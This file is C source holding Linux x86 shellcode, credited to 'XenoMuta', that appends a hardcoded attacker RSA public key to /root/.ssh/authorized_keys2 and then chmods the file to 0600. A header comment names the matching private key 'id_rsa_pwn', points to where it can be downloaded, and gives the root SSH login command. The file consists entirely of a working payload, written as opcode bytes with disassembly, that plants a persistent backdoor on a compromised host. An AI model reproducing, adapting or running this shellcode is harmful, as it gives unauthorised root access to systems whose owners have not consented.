/*
 linux/x86 shellcode to append rsa key to /root/.ssh/authorized_keys2
 keys found at http://xenomuta.tuxfamily.org/exploits/authkey/ 
 ssh -i id_rsa_pwn root@pwned-host

 295 bytes
 by XenoMuta
     _  __                 __  ___      __       
    | |/ /__  ____  ____  /  |/  /_  __/ /_____ _
    |   / _ \/ __ \/ __ \/ /|_/ / / / / __/ __ `/
   /   /  __/ / / / /_/ / /  / / /_/ / /_/ /_/ / 
  /_/|_\___/_/ /_/\____/_/  /_/\__,_/\__/\__,_/  

   xenomuta [ arroba ] phreaker [ punto ] net

  http://xenomuta.tuxfamily.org/ - Methylxantina 256mg
  
 - God bless you all -

*/
unsigned char sc[] =
//<_start>:
"\x31\xd2"	 // xor    %edx,%edx
"\x52"		 // push   %edx
"\x68\x65\x79\x73\x32"	 // push   $0x32737965 ; /root/.ssh/authorized_keys2
"\x68\x65\x64\x5f\x6b"	 // push   $0x6b5f6465
"\x68\x6f\x72\x69\x7a"	 // push   $0x7a69726f
"\x68\x61\x75\x74\x68"	 // push   $0x68747561
"\x68\x73\x73\x68\x2f"	 // push   $0x2f687373
"\x68\x74\x2f\x2f\x2e"	 // push   $0x2e2f2f74
"\x68\x2f\x72\x6f\x6f"	 // push   $0x6f6f722f
"\x89\xe3"	 // mov    %esp,%ebx
"\x66\xb9\x41\x04"	 // mov    $0x441,%cx ; O_CREAT | O_APPEND | O_WRONLY
//<_open>:
"\x6a\x05"	 // push   $0x5 ; sys_open()
"\x58"		 // pop    %eax
"\xcd\x80"	 // int    $0x80
//<_write>:
"\x93"		 // xchg   %eax,%ebx
"\x89\xe6"	 // mov    %esp,%esi
"\x31\xd2"	 // xor    %edx,%edx
"\x52"		 // push   %edx
"\x6a\x0a"	 // push   $0xa
"\x68\x20\x78\x78\x78"	 // push   $0x78787820 ; contenido de id_rsa_pwn.pub
"\x68\x31\x35\x54\x4a"	 // push   $0x4a543531
"\x68\x56\x39\x48\x57"	 // push   $0x57483956
"\x68\x6d\x75\x2b\x38"	 // push   $0x382b756d
"\x68\x31\x35\x64\x31"	 // push   $0x31643531
"\x68\x64\x2f\x71\x69"	 // push   $0x69712f64
"\x68\x52\x4b\x61\x79"	 // push   $0x79614b52
"\x68\x70\x70\x79\x6e"	 // push   $0x6e797070
"\x68\x35\x46\x31\x6d"	 // push   $0x6d314635
"\x68\x55\x64\x5a\x35"	 // push   $0x355a6455
"\x68\x4d\x2b\x4c\x63"	 // push   $0x634c2b4d
"\x68\x38\x59\x41\x6d"	 // push   $0x6d415938
"\x68\x4d\x42\x50\x79"	 // push   $0x7950424d
"\x68\x4c\x44\x4d\x58"	 // push   $0x584d444c
"\x68\x41\x34\x31\x38"	 // push   $0x38313441
"\x68\x65\x33\x76\x4d"	 // push   $0x4d763365
"\x68\x48\x6f\x78\x77"	 // push   $0x77786f48
"\x68\x34\x6d\x46\x36"	 // push   $0x36466d34
"\x68\x48\x39\x6f\x39"	 // push   $0x396f3948
"\x68\x56\x59\x48\x6a"	 // push   $0x6a485956
"\x68\x4b\x41\x74\x6d"	 // push   $0x6d74414b
"\x68\x70\x7a\x64\x71"	 // push   $0x71647a70
"\x68\x50\x2b\x76\x4d"	 // push   $0x4d762b50
"\x68\x6c\x47\x51\x43"	 // push   $0x4351476c
"\x68\x50\x68\x4f\x32"	 // push   $0x324f6850
"\x68\x4d\x37\x48\x35"	 // push   $0x3548374d
"\x68\x76\x6b\x6c\x47"	 // push   $0x476c6b76
"\x68\x37\x74\x4f\x35"	 // push   $0x354f7437
"\x68\x54\x63\x6e\x77"	 // push   $0x776e6354
"\x68\x36\x63\x77\x65"	 // push   $0x65776336
"\x68\x6d\x62\x64\x71"	 // push   $0x7164626d
"\x68\x4e\x32\x75\x70"	 // push   $0x7075324e
"\x68\x74\x73\x6a\x58"	 // push   $0x586a7374
"\x68\x41\x47\x45\x41"	 // push   $0x41454741
"\x68\x49\x77\x41\x41"	 // push   $0x41417749
"\x68\x41\x41\x41\x42"	 // push   $0x42414141
"\x68\x63\x32\x45\x41"	 // push   $0x41453263
"\x68\x61\x43\x31\x79"	 // push   $0x79314361
"\x68\x42\x33\x4e\x7a"	 // push   $0x7a4e3342
"\x68\x41\x41\x41\x41"	 // push   $0x41414141
"\x68\x72\x73\x61\x20"	 // push   $0x20617372
"\x68\x73\x73\x68\x2d"	 // push   $0x2d687373
"\x89\xe1"	 // mov    %esp,%ecx
"\xb2\xa9"	 // mov    $0xa9,%dl
"\x6a\x04"	 // push   $0x4   ; sys_write()
"\x58"		 // pop    %eax
"\xcd\x80"	 // int    $0x80
"\x34\xaf"	 // xor    $0xaf,%al ; 0xa9 xor 0xaf = 0x6 ( sys_close() )
"\xcd\x80"	 // int    $0x80
"\x04\x0f"	 // add    $0xf,%al  ; sys_chmod()
"\x89\xf3"	 // mov    %esi,%ebx
"\x66\xb9\x80\x01"	 // mov    $0x180,%cx ; 0600  para que ssh no se queje
"\xcd\x80"	 // int    $0x80
"\x6a\x01"	 // push   $0x1      ; adios exit
"\x58"		 // pop    %eax
"\xcd\x80";	 // int    $0x80

main(){printf("%d bytes\n", strlen(sc));}
//main(){(*(void (*)()) sc)();}